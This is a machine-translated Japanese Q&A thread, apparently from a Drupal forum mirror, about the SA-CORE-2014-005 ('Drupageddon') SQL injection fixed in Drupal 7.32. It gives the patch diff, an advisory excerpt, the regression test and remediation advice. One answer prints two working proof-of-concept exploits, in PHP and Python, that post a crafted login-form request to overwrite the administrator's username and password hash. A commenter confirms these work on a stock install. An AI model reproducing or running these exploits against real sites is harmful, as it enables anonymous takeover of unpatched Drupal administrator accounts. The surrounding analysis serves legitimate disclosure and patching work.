SA-CORE-2014-005(Drupal 7.32)のパッチはどのような攻撃を防ぎますか?


33

上に読み込みhttps://www.drupal.org/node/2357241との技術的な詳細https://www.drupal.org/SA-CORE-2014-005だけでなく、単純に実際のパッチ:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

このエクスプロイトを利用して、どのようなリクエストを行うことができるのでしょうか?



コアの変更を直接行うことはできますか?database.incファイル?
Hitesh 14年

@hitesh database.incは、上記のパッチからパッチを適用することができます(または、これは明らかに小さな変更です)が、コアDrupal全体にパッチを適用することもお勧めします。
チャーリーシュリーサー14年

1
どのリクエストがバグを悪用するのではなく、実際にバグが何であるかを知りたい人のために、Programmers.SEに説明を投稿しまし
RomanSt 14年

アップグレード後でも、誰かが私のサイト内に.phpファイルを配置できます。menu_routerもチェックしました-疑わしいものはありません。サイト監査とdrupalgetaddonも実行しました
AgA 14年

回答:


18

バグを発見した会社には、アドバイザリー01/2014にいくつかの例があります:Drupal-Auth SQLインジェクション前の脆弱性

エキス:

この関数は、キーを持たない配列で呼び出されることを前提としています。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

このSQLステートメントの結果

SELECT * from users where name IN (:name_0, :name_1)

パラメータname_0 = user1name_1 = user2

配列に整数でないキーがある場合、問題が発生します。例:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

これにより、悪用可能なSQLクエリが生成されます。

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

パラメータ付き:name_test = user2

DrupalはPDOを使用するため、複数クエリが許可されます。したがって、このSQLインジェクションを使用して、データベースに任意のデータを挿入したり、既存のデータをダンプまたは変更したり、データベース全体を削除したりできます。

任意のデータをデータベースに挿入できるため、攻撃者はコールバックを使用してDrupal機能を介して任意のPHPコードを実行できます。


共有してくれてありがとう、トピックを検索してもこれを見つけることができませんでした。The Problem occurs, if the array has keys, which are no integers-これとクエリの例は、これを理解するのに非常に役立ちます。
チャーリーシュリーサー14年

19

7.32で何が起こっているのかテストモジュールをチェックします。次のテストが7.32に追加されたことがわかります。

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

これにより、攻撃の作成方法に関する洞察が得られます。

概念実証 十分な時間が経過し、多くのPoCが世に出ているため。

Poc#1-PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc#2 Python- http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

良い内訳を行うブログは次のとおりです。http//www.volexity.com/blog/?p = 83


POCは仕事....しないこと
カイル・ブラウニング

ハッカーがdatabase.incの$ dataをarray_values($ data)に置き換えることができるPOCを投稿できますか?
ハンスロッセル14年

これがバニラDrupalサイトで機能することを確認できます。それは残念です...
AyeshK 14年

@gregglesがこれは少し早いと言ったように、すべての人がまだメモを持っているわけではありません。抑制してください。
pal4life 14年

質問-この攻撃を機能させるには「?q =」が必要ですか?私のサーバーは、q(またはQまたは%エンコードされた同等物)のget argを持つリクエストをドロップします。ちょっと興味があるんだけど。しばらく前にパッチを適用しましたが、侵入などの兆候は見られませんでしたが、q =リクエストを拒否することでうまくいったのではないかと思いますか?
カサポ14年

16

バグを発見した研究者には、概念実証があります。他の人も概念実証を開発しました。ただし、広く悪用される可能性を減らすために意図的に投稿することはありません。ここで例を投稿するのではなく、その研究と抑制を尊重する必要があります。

しばらく経ってサイトがアップグレードされると、学問的な観点から、概念実証攻撃コードをレビューすることは非常に興味深いでしょう。それまでは、それは不必要なリスクであり、注意を引きます。

SektioinEinsアドバイザリのコードはそれを悪用する方法の完全に開発された例ではありません。彼らは弱点を詳述していますが、実際に問題を悪用する方法を正確に特定していません。


この問題がリリースされてから数週間が経ち、SektionEinsはいくつかの概念実証をブログに投稿しました。これらは、アクティビティの痕跡をほとんど残さないために開発された他の多くの概念実証と比較して非常に興味深いものです(たとえば、menu_routerテーブルには何もありません)。


4

この脆弱性はどのDrupal 7.31以前のサイトでも機能することを確認できますが、どのモジュールがアクティブであっても関係ありません。すべてのdrupalフォームは、この脆弱性を悪用するために使用される可能性があります。

エクスプロイトは非常に簡単であるため、PoCはすでに公開されています。Drupalのクリーンインストールでは、自分のサーバーを攻撃し、匿名ユーザーとしてユーザーパスワードを変更できましたが、可能性は無限です。

このバグはhttps://www.drupal.org/node/2146839を介してほぼ1年前に知られていましたが、Drupal Core Security Teamの誰も応答しませんでした。


セキュリティの問題として報告されていませんでしたか?
アルフレッドアームストロング14年

「#security」、「major」の優先度、「needs review」のステータスでタグ付けされ、7.32のパッチが行うことを基本的に達成するパッチが含まれていました。おそらく、#「セキュリティ」の前に、他の方法で誰かがそれを見ることができないように制限したり、キューに問題が多すぎたりするかもしれません。誰もそれに反応しなかったことにまだ驚く。
チャーリーシュリーサー14年

3
セキュリティの問題として報告されていなかったため、おそらくセキュリティチームはそれを認識していませんでした。しかし、ええ、男はセキュリティの問題だと確信していなかったので、おそらくそれが理由です。
ベレンドボーア

2
バグとしてではなく、「機能要求」として報告されました。Drupalコアの安定版では新しい機能は受け入れられないため、通常は見られません。セキュリティの問題を決して公開すべきではありません。Drupalのセキュリティの問題をセキュリティチームに報告する明確なページがあります:drupal.org/node/101494
Hans Rossel

4

これがどのように悪用され、どのくらいの時間と労力がかかるのだろうかと思いました。そのため、ローカルホストに古いDrupal 7バージョンをインストールし、このバグをリバースエンジニアリングすることにしました。私が発見したのは、HTML / SQLに関する基本的な知識を持つ人がDrupalサイトに完全にアクセスできる衝撃的なバグです。

30分もかからずに匿名ユーザーを使用してDrupal 7にSQLインジェクションを実行できました!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

注:DrupalはSHA512とsaltを使用しているため、実際にログインすることはできないため、これでもログインできません。意図的にここにはコードを入れませんでしたが、明らかにDrupalの知識が少しでもある人なら誰でもこれを克服し、完全なアクセスを可能にするクエリを作成する方法を知っているでしょう!

これにより、Drupalの安全性と、このようなことの責任者についての質問が開かれます。どうやらこのバグは1年以上(https://www.drupal.org/node/2146839)知られていたようですが、Drupal.orgに反応する人はいませんでした。偶然または意図的に?:)


1

これは、実行のために悪意のあるSQLステートメントが入力フィールドに挿入されるSQLインジェクションの脆弱性の修正であり、データベースコンテンツのリリースなどにつながる可能性があります。特にこの脆弱性は匿名ユーザーによって悪用される可能性があるため、この修正はできるだけ早く適用することが重要です。

セキュリティチームがすぐに更新できない場合は、このパッチを適用して、完全なアップグレードができるまで同じ保護を提供できます1。また、セキュリティチームはこの問題に関連するいくつかのFAQを準備しました。メンテナンスモードであなたのサイトを置くことは助けにはなりませんし、アップデートを適用した後にキャッシュをクリアしてくださいまたはあなたが7.32を使用していることを確認してください。

また、サイトが侵害されていないかどうかを確認する必要があります。問題をすでに報告しているサイトがいくつかあります。ここでは、Drupal 7.32への更新だけでは十分ではないことを確認する方法を提案する1つのブログ投稿があります。サイトは既にハッキングされている可能性があります

10月15日に修正プログラムを適用しますが、私のサイトでは、誰かがこの脆弱性を悪用しようとすることを既に報告しています

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.